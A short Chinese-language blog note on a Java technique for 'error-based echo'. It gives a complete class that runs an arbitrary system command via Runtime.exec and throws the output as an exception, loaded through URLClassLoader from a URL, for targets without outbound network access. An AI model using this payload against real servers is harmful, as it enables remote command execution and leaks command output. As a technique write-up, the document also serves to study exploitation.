Java报错回显

看到师傅讲的很多不出网的利用方法是基本是基于报错来进行回显的

1. 构造命令执行模板代码
2. 输出方式变成异常输出
3. 之后通过URLClassloader的方式进行加载该恶意类

import java.io.BufferedReader;
import java.io.InputStream;
import java.io.InputStreamReader;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationTargetException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;
import java.nio.charset.Charset;
public class Main  {
    public Main(String name) throws Exception {
        Process process = Runtime.getRuntime().exec(name);
        InputStream stream = process.getInputStream();
        InputStreamReader inputStreamReader = new InputStreamReader(stream,Charset.forName("gbk"));
        BufferedReader bufferedReader = new BufferedReader(inputStreamReader);
        StringBuffer buf = new StringBuffer();
        String line = null;
        while( (line = bufferedReader.readLine())!=null){
            buf.append(line+"\n");
        }
        throw new Exception(buf.toString());
    }
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, InstantiationException, IllegalAccessException {
        URLClassLoader classLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1/")});
        Class cls = classLoader.loadClass("Main");
        Constructor obj = cls.getDeclaredConstructor(String.class);
        obj.newInstance("ipconfig");
    }
}